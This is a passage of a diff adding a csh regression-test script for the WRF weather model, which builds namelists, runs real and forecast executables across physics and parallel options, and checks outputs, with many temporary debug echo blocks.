+	foreach phys_option ( $PHYSOPTS )
+#DAVE###################################################
+echo which phys option $phys_option
+banner 11
+#set ans = "$<"
+#DAVE###################################################
+	
+		#	For each of the executables, we need to run several physics
+		#	options.  
+
+		if (  $core == em_real )  then
+
+			if ( $CHEM != TRUE ) then
+				set filetag=$filetag_real
+			else if ( $CHEM == TRUE ) then
+				if ( $phys_option <= 3 ) then
+					set filetag=$filetag_real[1]
+				else
+					set filetag=$filetag_real[2]
+				endif
+			endif
+
+			foreach compopt ( $COMPOPTS )
+#DAVE###################################################
+echo real if filetag is $filetag
+echo compopt = $compopt
+banner 12
+#set ans = "$<"
+#DAVE###################################################
+
+				#	We sometimes are interested in bypassing the OpenMP option.
+
+				if ( $compopt == $COMPOPTS[2] ) then
+					if ( $ZAP_OPENMP == TRUE || $ZAP_OPENMP_FOR_THIS_CORE == TRUE ) then
+						goto BYPASS_COMP_LOOP_REAL
+					endif
+				endif
+
+				if ( $compopt == $COMPOPTS[1] ) then
+					if ( $ZAP_SERIAL == TRUE || $ZAP_SERIAL_FOR_THIS_CORE == TRUE ) then
+						goto BYPASS_COMP_LOOP_REAL
+					endif
+				endif
+
+				pushd test/$core
+				
+				#
+				#	Create the correct namelist.input file for real data cases.
+				#
+
+				if ( $CHEM != TRUE ) then
+					cp ${CUR_DIR}/phys_real_${phys_option} phys_opt
+					if ( $NESTED != TRUE ) then
+						cp ${CUR_DIR}/dyn_real_${phys_option} dyn_opt
+					else
+						cp ${CUR_DIR}/dyn_real_SAFE dyn_opt
+					endif
+					cp ${CUR_DIR}/time_real_${phys_option} time_opt
+					cp ${CUR_DIR}/dom_real dom_real
+					cp ${CUR_DIR}/nest_real_${phys_option} nest_input_opt
+					cp ${CUR_DIR}/damp_real_${phys_option} damp_real
+					if ( -e fdda_opt ) rm fdda_opt
+					cat " grid_fdda=0" > fdda_opt
+					if ( -e fdda_time ) rm fdda_time
+
+					if ( $FDDA == TRUE ) then
+						cp ${CUR_DIR}/fdda_real_${phys_option} fdda_opt
+						cp ${CUR_DIR}/fdda_real_time_${phys_option} fdda_time
+					endif
+	
+					set time_step = `awk ' /^ time_step /{ print $3 } ' namelist.input.$dataset | cut -d, -f1`
+	
+					#	Wanna do more/less time steps on the real cases?  Easy. Those last two numbers
+					#	in the eqns are all you need.  Their product must be 60.  So, instead of 3 and 20,
+					#	(3 coarse grid timesteps), you could use 20 and 3 (20 coarse grid time steps).
+	
+					if      ( $NESTED == TRUE ) then
+						@ run_seconds = $time_step * 3
+						@ history_interval = $time_step / 20
+					else if ( $NESTED != TRUE ) then
+						@ run_seconds = $time_step * 10
+						@ history_interval = $time_step / 6
+					endif
+					rm ed_in namelist.input.temp
+					cat >! ed_in << EOF
+g/run_seconds/s/[0-9]/$run_seconds
+g/history_interval/s/[0-9][0-9][0-9]/$history_interval
+w namelist.input.temp
+q
+EOF
+					ed namelist.input.$dataset < ed_in
+	
+					cp ${CUR_DIR}/io_format io_format
+					sed -e '/^ mp_physics/,/ensdim/d' -e '/^ &physics/r ./phys_opt' \
+					    -e '/^ moist_adv_opt/,/scalar_adv_opt/d' -e '/^ non_hydrostatic/r ./dyn_opt' \
+					    -e '/^ auxinput1_inname/d' -e '/^ debug_level/r ./time_opt' \
+					    -e '/^ input_from_file/d' -e '/^ interval_seconds/r ./nest_input_opt' \
+					    -e '/^ time_step /,/^ smooth_option/d' -e '/^ &domains/r ./dom_real' \
+					    -e '/^ damp_opt /,/^ dampcoef/d' -e '/^ base_temp/r ./damp_real' \
+					    -e '/^ io_form_history /,/^ io_form_boundary/d' -e '/^ restart_interval/r ./io_format' \
+					    -e 's/ frames_per_outfile *= [0-9][0-9]*/ frames_per_outfile = 200/g' \
+					    -e 's/ run_days *= [0-9][0-9]*/ run_days = 0/g' \
+					    -e 's/ run_hours *= [0-9][0-9]*/ run_hours = 0/g' \
+					    -e 's/ run_minutes *= [0-9][0-9]*/ run_minutes = 0/g' \
+					    -e '/^ &fdda/r fdda_opt' \
+					    -e '/^ debug_level/r fdda_time' \
+					    -e '/dyn_opt/d' \
+					namelist.input.temp >! namelist.input
+				
+				#	The chem run has its own namelist, due to special input files (io_form not tested for chem)
+
+				else if ( $CHEM == TRUE ) then
+					if ( ( $KPP == TRUE ) && ( $phys_option >= 3 ) ) then
+						sed -e '/dyn_opt/d' \
+						    -e 's/^ chem_opt *= [0-9]/ chem_opt = '${CHEM_OPT}'/' \
+						    namelist.input.chem_test_${phys_option} >! namelist.input
+					else
+						sed -e '/dyn_opt/d' \
+						    namelist.input.chem_test_${phys_option} >! namelist.input
+					endif
+
+					if ( -e met_em.d01.${filetag} ) then
+						\rm met_em.d01.*
+					endif
+					if ( ${phys_option} <= 3 ) then
+						ln -s 00z/met_em* .
+					else
+						ln -s 12z/met_em* .
+					endif
+
+				endif
+
+				# WRF output quilt servers are only tested for MPI configuration.  
+				# Currently, only one WRF output quilt server is used.  
+
+				if ( $QUILT == TRUE ) then
+					if ( $compopt == $COMPOPTS[3] ) then
+						#	For now, test only one group of one output quilt servers.  
+						sed -e 's/ nio_tasks_per_group *= *[0-9][0-9]*/ nio_tasks_per_group = 1/g' \
+						    -e 's/ nio_groups *= *[0-9][0-9]*/ nio_groups = 1/g' \
+						namelist.input >! namelist.input.temp
+						mv -f namelist.input.temp namelist.input
+						echo "Building namelist.input.$core.${phys_option}.$compopt with one I/O quilt server enabled."
+						echo "NOTE  one I/O quilt server enabled for $core physics $phys_option parallel $compopt..." >>! ${DEF_DIR}/wrftest.output
+					endif
+				endif
+
+				/bin/cp namelist.input $TMPDIR/namelist.input.$core.${phys_option}.$compopt
+#DAVE###################################################
+echo built namelist $TMPDIR/namelist.input.$core.${phys_option}.$compopt
+cat  $TMPDIR/namelist.input.$core.${phys_option}.$compopt
+echo need history interval to be 30
+banner 13
+#set ans = "$<"
+#DAVE###################################################
+#DAVE###################################################
+echo skipped link of data files, we push them elsewhere
+ls -ls met_em*
+banner 14
+#set ans = "$<"
+#DAVE###################################################
+
+				#	If this is the serial code, generate the IC and BC.  The real.exe program is not
+				#	parallelized, so the data is generated and saved for the rest of the parallel tests.
+				#	This data is necessarily updated for each of the physics tests.
+
+				if ( $compopt == $COMPOPTS[1] ) then
+
+					#	Zap any old input data laying around.
+
+					rm wrfinput_d01 >& /dev/null
+					rm wrfbdy_d01   >& /dev/null
+
+					if ( $NESTED == TRUE ) then
+						setenv OMP_NUM_THREADS 1
+						if ( `uname` == AIX ) then
+							setenv XLSMPOPTS "parthds=1"
+						endif
+						$SERIALRUNCOMMAND ../../main/real_${core}.exe.1 >! print.out.real_${core}_Phys=${phys_option}_Parallel=${compopt}
+					else if ( $NESTED != TRUE ) then
+						../../main/real_${core}.exe.1 >! print.out.real_${core}_Phys=${phys_option}_Parallel=${compopt}
+					endif
+#DAVE###################################################
+echo finished real
+banner 15
+#set ans = "$<"
+#DAVE###################################################
+
+					grep "SUCCESS COMPLETE" print.out.real_${core}_Phys=${phys_option}_Parallel=${compopt} >& /dev/null
+					set success = $status
+
+					#	Did making the IC BC files work?
+
+					if ( $GLOBAL == FALSE ) then
+						if ( ( -e wrfinput_d01 ) && ( -e wrfbdy_d01 ) && ( $success == 0 ) ) then
+							echo "SUMMARY generate IC/BC for $core physics $phys_option parallel $compopt $esmf_lib_str PASS" >>! ${DEF_DIR}/wrftest.output
+							echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+						else
+							echo "SUMMARY generate IC/BC for $core physics $phys_option parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+							$MAIL -s "WRF FAIL making IC/BC $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+							if ( $KEEP_ON_RUNNING == FALSE ) exit ( 4 )
+							echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+						endif
+					else if ( $GLOBAL == TRUE ) then
+						if ( ( -e wrfinput_d01 ) && ( $success == 0 ) ) then
+							echo "SUMMARY generate IC for $core physics $phys_option parallel $compopt $esmf_lib_str PASS" >>! ${DEF_DIR}/wrftest.output
+							echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+						else
+							echo "SUMMARY generate IC for $core physics $phys_option parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+							echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+							$MAIL -s "WRF FAIL making IC $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+							if ( $KEEP_ON_RUNNING == FALSE ) exit ( 41 )
+						endif
+					endif
+#DAVE###################################################
+echo IC BC must be OK
+ls -ls wrfi* wrfb*
+if ( $IO_FORM_NAME[$IO_FORM] == io_netcdf ) then
+	ncdump -v Times wrfb* | tail -20
+endif
+banner 16
+#set ans = "$<"
+#DAVE###################################################
+				endif
+		
+				#	Run the forecast for this core, physics package and parallel option
+
+				rm $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$compopt >& /dev/null
+				
+				#	The chem run has its own set of namelists, due to special input files.
+
+				if ( $CHEM == TRUE ) then
+
+					# WRF output quilt servers are only tested for MPI configuration.  
+					# Currently, only one WRF output quilt server is used.  
+	
+					if ( $QUILT == TRUE ) then
+						if ( $compopt == $COMPOPTS[3] ) then
+							#	For now, test only one group of one output quilt servers.  
+							sed -e 's/ nio_tasks_per_group *= *[0-9][0-9]*/ nio_tasks_per_group = 1/g' \
+							    -e 's/ nio_groups *= *[0-9][0-9]*/ nio_groups = 1/g' \
+							namelist.input >! namelist.input.temp
+							mv -f namelist.input.temp namelist.input
+							echo "Building namelist.input.$core.${phys_option}.$compopt with one I/O quilt server enabled."
+							echo "NOTE  one I/O quilt server enabled for $core physics $phys_option parallel $compopt..." >>! ${DEF_DIR}/wrftest.output
+						endif
+					endif
+				endif
+
+				if      ( $compopt == $COMPOPTS[1] ) then
+					setenv OMP_NUM_THREADS 1
+					if ( `uname` == AIX ) then
+						setenv XLSMPOPTS "parthds=1"
+					endif
+					if ( $NESTED == TRUE ) then
+						$SERIALRUNCOMMAND ../../main/wrf_${core}.exe.$compopt >! print.out.wrf_${core}_Phys=${phys_option}_Parallel=${compopt}
+					else if ( $NESTED != TRUE ) then
+						../../main/wrf_${core}.exe.$compopt >! print.out.wrf_${core}_Phys=${phys_option}_Parallel=${compopt}
+					endif
+				else if ( $compopt == $COMPOPTS[2] ) then
+					setenv OMP_NUM_THREADS $OPENMP
+					if ( `uname` == AIX ) then
+						setenv XLSMPOPTS "parthds=${OPENMP}"
+					endif
+					if ( $NESTED == TRUE ) then
+						$OMPRUNCOMMAND ../../main/wrf_${core}.exe.$compopt >! print.out.wrf_${core}_Phys=${phys_option}_Parallel=${compopt}
+					else if ( $NESTED != TRUE ) then
+						../../main/wrf_${core}.exe.$compopt >! print.out.wrf_${core}_Phys=${phys_option}_Parallel=${compopt}
+					endif
+				else if ( $compopt == $COMPOPTS[3] ) then
+					setenv OMP_NUM_THREADS 1
+					if ( `uname` == AIX ) then
+						setenv XLSMPOPTS "parthds=1"
+					endif
+					$MPIRUNCOMMAND ../../main/wrf_${core}.exe.$compopt $MPIRUNCOMMANDPOST
+					mv rsl.error.0000 print.out.wrf_${core}_Phys=${phys_option}_Parallel=${compopt}
+				endif
+#DAVE###################################################
+echo ran wrf fcst compopt = $compopt
+banner 17
+#set ans = "$<"
+#DAVE###################################################
+
+				grep "SUCCESS COMPLETE" print.out.wrf_${core}_Phys=${phys_option}_Parallel=${compopt}
+				set success = $status
+
+				#	Did making the forecast work, by that, we mean "is there an output file created", and "are there 2 times periods".
+
+				if ( ( -e wrfout_d01_${filetag} ) && ( $success == 0 ) ) then
+					if      ( $IO_FORM_NAME[$IO_FORM] == io_netcdf ) then
+						ncdump -h wrfout_d01_${filetag} | grep Time | grep UNLIMITED | grep currently | grep -q 2
+						set ok = $status
+						set found_nans = 1
+						if      ( `uname` == AIX   ) then
+							ncdump wrfout_d01_${filetag} | grep NaN >& /dev/null
+							set found_nans = $status
+						else if ( `uname` == OSF1  ) then
+							ncdump wrfout_d01_${filetag} | grep nan >& /dev/null
+					#		set found_nans = $status
+						else if ( `uname` == Linux ) then
+							ncdump wrfout_d01_${filetag} | grep nan >& /dev/null
+							set found_nans = $status
+						endif
+						if ( $found_nans == 0 ) then
+							echo found nans
+							set ok = 1
+						endif
+
+					else if ( $IO_FORM_NAME[$IO_FORM] == io_grib1  ) then
+#						set joe_times = `../../external/io_grib1/wgrib -s -4yr wrfout_d01_${filetag} |  grep -v ":anl:" | wc -l`
+#						if ( $joe_times >= 100 ) then
+						set joe_times = `../../external/io_grib1/wgrib -s -4yr wrfout_d01_${filetag} |  grep "UGRD:10 m" | wc -l`
+						if ( $joe_times == 2 ) then
+							set ok = 0
+						else
+							set ok = 1
+						endif
+					endif
+					if ( $ok == 0 ) then
+						echo "SUMMARY generate FCST  for $core physics $phys_option parallel $compopt $esmf_lib_str PASS" >>! ${DEF_DIR}/wrftest.output
+						echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+					else
+						echo "SUMMARY generate FCST  for $core physics $phys_option parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+						echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+						$MAIL -s "WRF FAIL FCST $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+						if ( $KEEP_ON_RUNNING == FALSE ) exit ( 5 )
+					endif
+				else
+					echo "SUMMARY generate FCST  for $core physics $phys_option parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+					echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+					$MAIL -s "WRF FAIL FCST $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+					if ( $KEEP_ON_RUNNING == FALSE ) exit ( 6 )
+				endif
+#DAVE###################################################
+echo success or failure of fcst
+if ( $IO_FORM_NAME[$IO_FORM] == io_netcdf ) then
+	ncdump -v Times wrfout_d01_${filetag} | tail -20
+endif
+banner 18
+#set ans = "$<"
+#DAVE###################################################
+
+				#	We have to save this output file for our biggy comparison after all of the
+				#	parallel options have been considered.
+
+				mv wrfout_d01_${filetag} $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.$compopt
+
+				#       To save space, we move the executables after we are finished with them.
+
+				if ( $phys_option == $PHYSOPTS[${#PHYSOPTS}] ) then
+					mv ../../main/wrf_${core}.exe.$compopt $TMPDIR/wrf_${core}.exe.$compopt
+				endif
+
+				popd
+
+				BYPASS_COMP_LOOP_REAL:
+
+			end
+
+		else if ( $core == nmm_real )  then
+#DAVE###################################################
+echo doing nmm pre no-nest
+banner 19
+#set ans = "$<"
+#DAVE###################################################
+
+                        set compopt = $COMPOPTS[3]   # ! parallel only
+                        set filetag = 2005-01-23_00:00:00
+                        set phys_option=1
+                        pushd test/$core
+
+#DAVE###################################################
+echo did rms
+echo $filetag $phys_option
+banner 19a
+#set ans = "$<"
+#DAVE###################################################
+
+			#	Build NMM namelist
+
+			cp ${CUR_DIR}/io_format io_format
+			sed -e '/^ io_form_history /,/^ io_form_boundary/d' -e '/^ restart_interval/r ./io_format' \
+			    namelist.input.regtest >! namelist.input.temp
+	
+			#	A fairly short forecast, 10 time steps
+
+			sed -e 's/^ run_days *= *[0-9]*/ run_days = 0 /' \
+			    -e 's/^ run_seconds *= *[0-9]*/ run_seconds = 900 /' \
+			    -e 's/^ history_interval *= *[0-9][0-9]*/ history_interval = 15,15 /' \
+			    -e 's/^ frames_per_outfile *= [0-9]*/ frames_per_outfile = 200/g' \
+			    namelist.input.temp >! namelist.input
+
+#DAVE###################################################
+echo did cp of namelist no-nest
+ls -ls namelist.input
+cat namelist.input
+banner 19b
+#set ans = "$<"
+#DAVE###################################################
+
+			#	Generate IC/BC for NMM run
+
+			set RUNCOMMAND = `echo $MPIRUNCOMMAND | sed "s/$Num_Procs/1/"`
+
+			#	Zap any old input data laying around.
+
+			rm wrfinput_d01 >& /dev/null
+			rm wrfbdy_d01   >& /dev/null
+
+			$RUNCOMMAND ../../main/real_${core}.exe.$COMPOPTS[3] >! print.out.real_${core}_Phys=${phys_option}_Parallel=$COMPOPTS[3]
+#DAVE###################################################
+echo finished real no-nest
+banner 19c
+#set ans = "$<"
+#DAVE###################################################
+
+			mv rsl.out.0000 print.out.real_${core}_Phys=${phys_option}_Parallel=${compopt}
+			grep "SUCCESS COMPLETE" print.out.real_${core}_Phys=${phys_option}_Parallel=${compopt} >& /dev/null
+			set success = $status
+
+			#	Did making the IC BC files work?
+
+			if ( ( -e wrfinput_d01 ) && ( -e wrfbdy_d01 ) && ( $success == 0 ) ) then
+				echo "SUMMARY generate IC/BC for $core physics $phys_option parallel $compopt $esmf_lib_str PASS" >>! ${DEF_DIR}/wrftest.output
+				echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+			else
+				echo "SUMMARY generate IC/BC for $core physics $phys_option parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+				echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+				$MAIL -s "WRF FAIL making IC/BC $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+				if ( $KEEP_ON_RUNNING == FALSE ) exit ( 4 )
+			endif
+#DAVE###################################################
+echo IC BC must be OK no-nest
+ls -lsL wrfinput* wrfb*
+if ( $IO_FORM_NAME[$IO_FORM] == io_netcdf ) then
+	ncdump -v Times wrfb* | tail -20
+endif
+banner 20
+#set ans = "$<"
+#DAVE###################################################
+
+			#	Run on 1 and then on Num_Procs processors
+
+			foreach n ( 1 $Num_Procs )
+#DAVE###################################################
+echo running nmm on $n procs no-nest
+banner 21
+#set ans = "$<"
+#DAVE###################################################
+
+				if      ( ( $n != 1 ) && ( $QUILT != TRUE ) ) then
+					@ nmm_proc = $Num_Procs
+					cat >! nproc_xy << EOF
+ nproc_x = $nmm_proc
+ nproc_y = 1
+EOF
+					sed -e '/^ numtiles/r nproc_xy' namelist.input >! file.foo
+					mv file.foo namelist.input
+				else if ( ( $n != 1 ) && ( $QUILT == TRUE ) ) then
+					@ nmm_proc = $Num_Procs - 1
+					cat >! nproc_xy << EOF
+ nproc_x = $nmm_proc
+ nproc_y = 1
+EOF
+					sed -e '/^ numtiles/r nproc_xy' namelist.input >! file.foo
+					mv file.foo namelist.input
+				endif
+
+				if ( `uname` == AIX ) then
+					set RUNCOMMAND = $MPIRUNCOMMAND
+				else
+					set RUNCOMMAND = `echo $MPIRUNCOMMAND | sed "s/$Num_Procs/$n/"`
+				endif
+
+				#	WRF output quilt servers are only tested for MPI configuration.  
+				#	Currently, only one WRF output quilt server is used.  
+			
+				if ( ( $QUILT == TRUE ) && ( $n == $Num_Procs ) ) then
+					if ( $compopt == $COMPOPTS[3] ) then
+						#	For now, test only one group of one output quilt servers.  
+						sed -e 's/ nio_tasks_per_group *= *[0-9]*/ nio_tasks_per_group = 1/g' \
+						    -e 's/ nio_groups *= *[0-9]*/ nio_groups = 1/g' \
+						namelist.input >! namelist.input.temp
+						mv -f namelist.input.temp namelist.input
+						echo "Building namelist.input.$core.${phys_option}.$compopt with one I/O quilt server enabled."
+						echo "NOTE  one I/O quilt server enabled for $core physics $phys_option parallel $compopt..." >>! ${DEF_DIR}/wrftest.output
+					endif
+				endif
+
+				#	NMM can fail on spurious fp exceptions that don't affect soln. Retry if necessary.
+
+				set tries=0
+				while ( $tries < 2 )
+#DAVE###################################################
+echo try attempt $tries allowed to be less than 2
+banner 22
+#set ans = "$<"
+#DAVE###################################################
+					@ tries = $tries + 1
+					$RUNCOMMAND ../../main/wrf_${core}.exe.$compopt $MPIRUNCOMMANDPOST
+					mv rsl.error.0000 print.out.wrf_${core}_Phys=${phys_option}_Parallel=${compopt}_${n}p
+					grep "SUCCESS COMPLETE" print.out.wrf_${core}_Phys=${phys_option}_Parallel=${compopt}_${n}p
+					set success = $status
+					set ok = $status
+					if ( ( -e wrfout_d01_${filetag} ) && ( $success == 0 ) ) then
+						if      ( $IO_FORM_NAME[$IO_FORM] == io_netcdf ) then
+							ncdump -h wrfout_d01_${filetag} | grep Time | grep UNLIMITED | grep currently | grep -q 2
+							set ok = $status
+							set found_nans = 1
+							if      ( `uname` == AIX   ) then
+								ncdump wrfout_d01_${filetag} | grep NaN >& /dev/null
+								set found_nans = $status
+							else if ( `uname` == OSF1  ) then
+								ncdump wrfout_d01_${filetag} | grep nan >& /dev/null
+						#		set found_nans = $status
+							else if ( `uname` == Linux ) then
+								ncdump wrfout_d01_${filetag} | grep nan >& /dev/null
+								set found_nans = $status
+							endif
+							if ( $found_nans == 0 ) then
+								echo found nans
+								set ok = 1
+							endif
+
+						else if ( $IO_FORM_NAME[$IO_FORM] == io_grib1  ) then
+							../../external/io_grib1/wgrib -s -4yr wrfout_d01_${filetag} |  grep "UGRD:10 m above gnd:3600 sec fcst"
+							set ok = $status
+						endif
+						if ( $ok == 0 ) then
+							echo "SUMMARY generate FCST  for $core physics $phys_option parallel $compopt $esmf_lib_str PASS" >>! ${DEF_DIR}/wrftest.output
+							echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+							set tries=2  # success, bail from loop
+						else
+							echo "SUMMARY generate FCST  for $core physics $phys_option parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+							echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+							$MAIL -s "WRF FAIL FCST $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+							if ( if ( $KEEP_ON_RUNNING == FALSE ) && ( $tries == 2 ) )exit ( 5 )
+						endif
+					else
+						echo "SUMMARY generate FCST  for $core physics $phys_option parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+						echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+						$MAIL -s "WRF FAIL FCST $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+						if ( ( $KEEP_ON_RUNNING == FALSE ) && ( $tries == 2 ) ) exit ( 6 )
+					endif
+					mv wrfout_d01_${filetag} $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.${compopt}_${n}p
+#DAVE###################################################
+echo did nmm fcst no-nest
+ls -ls $TMPDIR/wrfout_d01_${filetag}.${core}.${phys_option}.${compopt}_${n}p
+banner 23
+#set ans = "$<"
+#DAVE###################################################
+				end
+			end
+
+                        popd
+
+#DAVE###################################################
+echo doing nmm pre nesting
+banner 19
+#set ans = "$<"
+#DAVE###################################################
+
+                        set compopt = $COMPOPTS[3]   # ! parallel only
+                        set filetag = 2008-03-06_00:00:00
+                        set phys_option=1
+                        pushd test/$core
+
+#DAVE###################################################
+echo did rms
+echo $filetag $phys_option
+banner 19a
+#set ans = "$<"
+#DAVE###################################################
+
+			#	Build NMM namelist
+
+			cp ${CUR_DIR}/io_format io_format
+			sed -e '/^ io_form_history /,/^ io_form_boundary/d' -e '/^ restart_interval/r ./io_format' \
+			    namelist.nest.regtest >! namelist.input.temp
+	
+			#	A fairly short forecast, 10 time steps
+
+			sed -e 's/^ run_hours *= *[0-9]*/ run_hours = 0 /' \
+			    -e 's/^ run_seconds *= *[0-9]*/ run_seconds = 900 /' \
+			    -e 's/^ history_interval *= *[0-9][0-9]*/ history_interval = 15,15 /' \
+			    -e 's/^ frames_per_outfile *= [0-9]*/ frames_per_outfile = 200/g' \
+			    namelist.input.temp >! namelist.input
+
+#DAVE###################################################
+echo did cp of namelist nesting
+ls -ls namelist.input
+cat namelist.input
+banner 19b
+#set ans = "$<"
+#DAVE###################################################
+
+			#	Generate IC/BC for NMM run
+
+			set RUNCOMMAND = `echo $MPIRUNCOMMAND | sed "s/$Num_Procs/1/"`
+
+			#	Zap any old input data laying around.
+
+			rm wrfinput_d01 >& /dev/null
+			rm wrfbdy_d01   >& /dev/null
+
+			$RUNCOMMAND ../../main/real_${core}.exe.$COMPOPTS[3] >! print.out.real_${core}_Phys=${phys_option}_Parallel_Nest=$COMPOPTS[3]
+#DAVE###################################################
+echo finished real nesting
+banner 19c
+#set ans = "$<"
+#DAVE###################################################
+
+			mv rsl.out.0000 print.out.real_${core}_Phys=${phys_option}_Parallel=${compopt}
+			grep "SUCCESS COMPLETE" print.out.real_${core}_Phys=${phys_option}_Parallel=${compopt} >& /dev/null
+			set success = $status
+
+			#	Did making the IC BC files work?
+
+			if ( ( -e wrfinput_d01 ) && ( -e wrfbdy_d01 ) && ( $success == 0 ) ) then
+				echo "SUMMARY generate IC/BC for $core physics $phys_option parallel nest $compopt $esmf_lib_str PASS" >>! ${DEF_DIR}/wrftest.output
+				echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+			else
+				echo "SUMMARY generate IC/BC for $core physics $phys_option parallel nest $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+				echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+				$MAIL -s "WRF FAIL making IC/BC $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+				if ( $KEEP_ON_RUNNING == FALSE ) exit ( 4 )
+			endif
+#DAVE###################################################
+echo IC BC must be OK nesting
+ls -lsL wrfinput* wrfb*
+if ( $IO_FORM_NAME[$IO_FORM] == io_netcdf ) then
+	ncdump -v Times wrfb* | tail -20
+endif
+banner 20
+#set ans = "$<"
+#DAVE###################################################
+
+			#	Run on 1 and then on Num_Procs processors
+
+#LPC
+			foreach n ( 1 $Num_Procs )
+#DAVE###################################################
+echo running nmm on $n procs nesting
+banner 21
+#set ans = "$<"
+#DAVE###################################################
+
+				if      ( ( $n != 1 ) && ( $QUILT != TRUE ) ) then
+					@ nmm_proc = $Num_Procs
+#LPC
+					cat >! nproc_xy << EOF
+ nproc_x = $nmm_proc
+ nproc_y = 1
+EOF
+					sed -e '/^ numtiles/r nproc_xy' namelist.input >! file.foo
+					mv file.foo namelist.input
+				else if ( ( $n != 1 ) && ( $QUILT == TRUE ) ) then
+					@ nmm_proc = $Num_Procs - 1
+#LPC
+					cat >! nproc_xy << EOF
+ nproc_x = $nmm_proc
+ nproc_y = 1
+EOF
+					sed -e '/^ numtiles/r nproc_xy' namelist.input >! file.foo
+					mv file.foo namelist.input
+				endif
+
+				if ( `uname` == AIX ) then
+					set RUNCOMMAND = $MPIRUNCOMMAND
+				else
+					set RUNCOMMAND = `echo $MPIRUNCOMMAND | sed "s/$Num_Procs/$n/"`
+				endif
+
+				#	WRF output quilt servers are only tested for MPI configuration.  
+				#	Currently, only one WRF output quilt server is used.  
+			
+				if ( ( $QUILT == TRUE ) && ( $n == $Num_Procs ) ) then
+					if ( $compopt == $COMPOPTS[3] ) then
+						#	For now, test only one group of one output quilt servers.  
+						sed -e 's/ nio_tasks_per_group *= *[0-9]*/ nio_tasks_per_group = 1/g' \
+						    -e 's/ nio_groups *= *[0-9]*/ nio_groups = 1/g' \
+						namelist.input >! namelist.input.temp
+						mv -f namelist.input.temp namelist.input
+						echo "Building namelist.input.$core.${phys_option}.$compopt with one I/O quilt server enabled."
+						echo "NOTE  one I/O quilt server enabled for $core physics $phys_option parallel $compopt..." >>! ${DEF_DIR}/wrftest.output
+					endif
+				endif
+
+				#	NMM can fail on spurious fp exceptions that don't affect soln. Retry if necessary.
+
+				set tries=0
+				while ( $tries < 2 )
+#DAVE###################################################
+echo try attempt $tries allowed to be less than 2
+banner 22
+#set ans = "$<"
+#DAVE###################################################
+					@ tries = $tries + 1
+					$RUNCOMMAND ../../main/wrf_${core}.exe.$compopt $MPIRUNCOMMANDPOST
+ls -lsL rsl*
+					mv rsl.error.0000 print.out.wrf_${core}_Phys=${phys_option}_Parallel=${compopt}_${n}p
+					grep "SUCCESS COMPLETE" print.out.wrf_${core}_Phys=${phys_option}_Parallel=${compopt}_${n}p
+					set success = $status
+					set ok = $status
+					if ( ( -e wrfout_d01_${filetag} ) && ( $success == 0 ) ) then
+						if      ( $IO_FORM_NAME[$IO_FORM] == io_netcdf ) then
+							ncdump -h wrfout_d01_${filetag} | grep Time | grep UNLIMITED | grep currently | grep -q 2
+							set ok = $status
+							set found_nans = 1
+							if      ( `uname` == AIX   ) then
+								ncdump wrfout_d01_${filetag} | grep NaN >& /dev/null
+								set found_nans = $status
+							else if ( `uname` == OSF1  ) then
+								ncdump wrfout_d01_${filetag} | grep nan >& /dev/null
+						#		set found_nans = $status
+							else if ( `uname` == Linux ) then
+								ncdump wrfout_d01_${filetag} | grep nan >& /dev/null
+								set found_nans = $status
+							endif
+							if ( $found_nans == 0 ) then
+								echo found nans
+								set ok = 1
+							endif
+
+						else if ( $IO_FORM_NAME[$IO_FORM] == io_grib1  ) then
+							../../external/io_grib1/wgrib -s -4yr wrfout_d01_${filetag} |  grep "UGRD:10 m above gnd:3600 sec fcst"
+							set ok = $status
+						endif
+						if ( $ok == 0 ) then
+							echo "SUMMARY generate FCST  for $core physics $phys_option parallel $compopt $esmf_lib_str PASS" >>! ${DEF_DIR}/wrftest.output
+							echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+							set tries=2  # success, bail from loop
+						else
+							echo "SUMMARY generate FCST  for $core physics $phys_option parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+							echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+							$MAIL -s "WRF FAIL FCST $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+							if ( if ( $KEEP_ON_RUNNING == FALSE ) && ( $tries == 2 ) )exit ( 5 )
+						endif
+					else
